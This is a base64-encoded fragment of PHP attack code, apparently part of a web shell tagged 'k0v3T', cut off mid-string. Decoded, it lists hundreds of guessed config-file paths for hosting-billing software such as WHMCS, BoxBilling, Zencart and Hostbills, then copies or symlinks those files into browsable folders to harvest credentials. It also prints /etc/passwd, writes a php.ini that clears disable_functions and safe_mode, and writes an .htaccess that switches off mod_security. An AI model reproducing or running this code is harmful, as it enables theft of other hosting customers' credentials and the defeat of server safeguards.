QoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2FsZXMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2FjY291bnQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3VzZXIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvbXkvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvcGFuZWwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3hiaWxsaW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0hvc3QvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydGVzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jYXJ0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZXMvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmlsbGluZy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9teS9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zZWN1cmUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwIiA9PiAiWmVuY2FydCIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zaG9wL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaG9zdGJpbGxzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2hvc3QvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NhcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50ZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9zdXBwb3J0L29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIg0KKTsgIA0KDQpmb3JlYWNoKCRncmFiX2NvbmZpZyBhcyAkY29uZmlnID0+ICRuYW1hX2NvbmZpZykgew0KCWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQokYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQppZigkYW1iaWxfY29uZmlnID09ICcnKSB7DQp9IGVsc2Ugew0KJGZpbGVfY29uZmlnID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvJHVzZXJfazB2M1QtJG5hbWFfY29uZmlnLnR4dCIsInciKTsNCmZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCn0NCn0NCmlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9TeW1jb25maWcvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0Iik7DQp9DQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7DQokc3ltNDA0PXN5bWxpbmsoJGNvbmZpZywiazB2M1Rfc3ltNDA0LyIuJHVzZXJfazB2M1QuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOw0KaWYoJHN5bTQwNCl7DQoJQG1rZGlyKCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0IiwgMDc3Nyk7DQoJJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KSGVhZGVyTmFtZSBrMHYzVC50eHQNClNhdGlzZnkgQW55DQpJbmRleE9wdGlvbnMgSWdub3JlQ2FzZSBGYW5jeUluZGV4aW5nIEZvbGRlcnNGaXJzdCBOYW1lV2lkdGg9KiBEZXNjcmlwdGlvbldpZHRoPSogU3VwcHJlc3NIVE1MUHJlYW1ibGUNCkluZGV4SWdub3JlICoiOw0KDQpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8iLiR1c2VyX2swdjNULiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQvLmh0YWNjZXNzIiwkaHRhY2Nlc3MpOw0KDQpAc3ltbGluaygkY29uZmlnLCJrMHYzVF9zeW00MDQvIi4kdXNlcl9rMHYzVC4iLSIuJG5hbWFfY29uZmlnLiIudHh0NDA0L2swdjNULnR4dCIpOw0KDQoJfQ0KDQp9DQoNCiAgICAgICAgICAgICAgICAgICAgfSAgICAgDQoJCX0gIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxhIGhyZWY9Jz9wYXRoPSRwYXRoL2swdjNUX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsNCgkJfQ0KICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJzQwNCcpIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvcm9vdC9cIj5TeW1saW5rTnlhPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW00MDQvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsNCiAgICB9DQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7DQplY2hvICI8Y2VudGVyPg0KPGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+DQo8YnI+PGEgaHJlZj1cImswdjNUX3N5bWNvbmZpZy9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0Jykgew0KZWNobyAiPGNlbnRlcj4NCjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPg0KPGJyPjxhIGhyZWY9XCJrMHYzVF9zeW12aG9zdC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOw0KCQkJfQ0KCQkNCgkJDQoJCX1lbHNlew0KICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiXCI+PGNlbnRlcj4NCgkJPC9jZW50ZXI+PC9zZWxlY3Q+PGJyPjx0ZXh0YXJlYSBuYW1lPVwicGFzc3dkXCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+XG4iOw0KICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IA0KICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgIDxzZWxlY3QgY2xhc3M9XCJzZWxlY3RcIiBuYW1lPVwiY29uZmlnXCIgIHN0eWxlPVwid2lkdGg6IDQ1MHB4O1wiIGhlaWdodD1cIjEwXCI+DQogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4NCiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cInN5bWxpbmtcIj5TeW1saW5rIENvbmZpZzwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwiNDA0XCI+Q29uZmlnIDQwNDwvb3B0aW9uPg0KCQk8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7DQp9DQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2Rpc2FibGVmdW5jJyl7DQoJCWVjaG8gIjxicj48YnI+PGNlbnRlcj4iOw0KCQllY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOw0KCQlpZihpc3NldCgkX1BPU1RbJ2luaSddKSkNCnsNCgkJJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsNCgkJZWNobyBmd3JpdGUoJGZpbGUsImRpc2FibGVfZnVuY3Rpb25zPW5vbmUNCnNhZmVfbW9kZSA9IE9mZg0KCSIpOw0KCQlmY2xvc2UoJGZpbGUpOw0KCQllY2hvICI8YSBocmVmPSdwaHAuaW5pJz5jbGljayBoZXJlITwvYT4iOw0KfQkJaWYoaXNzZXQoJF9QT1NUWydodGNlJ10pKQ0Kew0KCQkkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdX